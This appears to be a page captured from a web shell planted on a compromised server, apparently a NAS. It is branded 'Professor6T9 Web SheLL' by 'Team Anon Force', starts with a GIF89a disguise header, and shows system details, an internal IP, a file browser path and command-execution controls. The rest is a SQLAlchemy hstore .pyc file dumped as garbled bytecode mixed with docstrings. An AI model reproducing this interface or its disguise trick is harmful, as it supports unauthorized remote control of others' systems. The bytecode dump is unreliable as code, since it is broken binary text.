GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
dialects
/
postgresql
/
__pycache__
[ HOME ]
Exec
Submit
File Name : hstore.cpython-38.pyc
U �}�h�0 � @ s� d dl Z ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z d Ze je j Ze jd eddd�Ze jd eddd�Ze jdeddd�Ze jdeddd�Ze jdeddd�Ze jdeddd�ZG dd� dejejej�ZG dd� de j�ZG dd� de j�ZG dd� de j�ZG dd� de j�ZG dd� de j�ZG dd� de j�Z G d d!� d!e j�Z!G d"d#� d#e j�Z"e �#d$e j$�Z%e �#d%e j$�Z&d&d'� Z'd(d)� Z(d*d+� Z)dS ),� N� )�ARRAY� )�types)�util)� functions)� operators)�HSTORE�hstorez->T)� precedenceZnatural_self_precedentZeager_grouping�?z?&z?|z@>z<@c @ sX e Zd ZdZd ZdZe�� Zddd�Z G dd� dej jejj�ZeZ dd � Zd d� ZdS ) r at Represent the PostgreSQL HSTORE type. The :class:`.HSTORE` type stores dictionaries containing strings, e.g.:: data_table = Table('data_table', metadata, Column('id', Integer, primary_key=True), Column('data', HSTORE) ) with engine.connect() as conn: conn.execute( data_table.insert(), data = {"key1": "value1", "key2": "value2"} ) :class:`.HSTORE` provides for a wide range of operations, including: * Index operations:: data_table.c.data['some key'] == 'some value' * Containment operations:: data_table.c.data.has_key('some key') data_table.c.data.has_all(['one', 'two', 'three']) * Concatenation:: data_table.c.data + {"k1": "v1"} For a full list of special methods see :class:`.HSTORE.comparator_factory`. For usage with the SQLAlchemy ORM, it may be desirable to combine the usage of :class:`.HSTORE` with :class:`.MutableDict` dictionary now part of the :mod:`sqlalchemy.ext.mutable` extension. This extension will allow "in-place" changes to the dictionary, e.g. addition of new keys or replacement/removal of existing keys to/from the current dictionary, to produce events which will be detected by the unit of work:: from sqlalchemy.ext.mutable import MutableDict class MyClass(Base): __tablename__ = 'data_table' id = Column(Integer, primary_key=True) data = Column(MutableDict.as_mutable(HSTORE)) my_object = session.query(MyClass).one() # in-place mutation, requires Mutable extension # in order for the ORM to detect my_object.data['some_key'] = 'some value' session.commit() When the :mod:`sqlalchemy.ext.mutable` extension is not used, the ORM will not be alerted to any changes to the contents of an existing dictionary, unless that dictionary value is re-assigned to the HSTORE-attribute itself, thus generating a change event. .. seealso:: :class:`.hstore` - render the PostgreSQL ``hstore()`` function. FNc C s |dk r|| _ dS )z�Construct a new :class:`.HSTORE`. :param text_type: the type that should be used for indexed values. Defaults to :class:`_types.Text`. .. versionadded:: 1.1.0 N)� text_type)�selfr � r �L/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/dialects/postgresql/hstore.py�__init__� s zHSTORE.__init__c @ sx e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� Zdd � Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� ZdS )zHSTORE.Comparatorz2Define comparison operations for :class:`.HSTORE`.c C s | j t|tjd�S )zvBoolean expression. Test for presence of a key. Note that the key may be a SQLA expression. �Zresult_type)�operate�HAS_KEY�sqltypes�Boolean�r �otherr r r �has_key� s zHSTORE.Comparator.has_keyc C s | j t|tjd�S )zHBoolean expression. Test for presence of all keys in jsonb r )r �HAS_ALLr r r r r r �has_all� s zHSTORE.Comparator.has_allc C s | j t|tjd�S )zGBoolean expression. Test for presence of any key in jsonb r )r �HAS_ANYr r r r r r �has_any� s zHSTORE.Comparator.has_anyc K s | j t|tjd�S )z�Boolean expression. Test if keys (or array) are a superset of/contained the keys of the argument jsonb expression. r )r �CONTAINSr r )r r �kwargsr r r �contains� s zHSTORE.Comparator.containsc C s | j t|tjd�S )z|Boolean expression. Test if keys are a proper subset of the keys of the argument jsonb expression. r )r �CONTAINED_BYr r r r r r �contained_by� s �zHSTORE.Comparator.contained_byc C s t || jjfS �N)�GETITEM�typer )r �indexr r r �_setup_getitem� s z HSTORE.Comparator._setup_getitemc C s t | j|�S )z�Boolean expression. Test for presence of a non-NULL value for the key. Note that the key may be a SQLA expression. )�_HStoreDefinedFunction�expr�r �keyr r r �defined� s zHSTORE.Comparator.definedc C s t |t�rt|�}t| j|�S )z�HStore expression. Returns the contents of this hstore with the given key deleted. Note that the key may be a SQLA expression. )� isinstance�dict�_serialize_hstore�_HStoreDeleteFunctionr) r* r r r �delete� s zHSTORE.Comparator.deletec C s t | j|�S )zdHStore expression. Returns a subset of an hstore defined by array of keys. )�_HStoreSliceFunctionr) )r �arrayr r r �slice� s zHSTORE.Comparator.slicec C s t | j�S )z.Text array expression. Returns array of keys.)�_HStoreKeysFunctionr) �r r r r �keys� s zHSTORE.Comparator.keysc C s t | j�S )z0Text array expression. Returns array of values.)�_HStoreValsFunctionr) r6 r r r �vals� s zHSTORE.Comparator.valsc C s t | j�S )z^Text array expression. Returns array of alternating keys and values. )�_HStoreArrayFunctionr) r6 r r r r3 � s zHSTORE.Comparator.arrayc C s t | j�S )z<Text array expression. Returns array of [key, value] pairs.)�_HStoreMatrixFunctionr) r6 r r r �matrix� s zHSTORE.Comparator.matrixN)�__name__� __module__�__qualname__�__doc__r r r r r"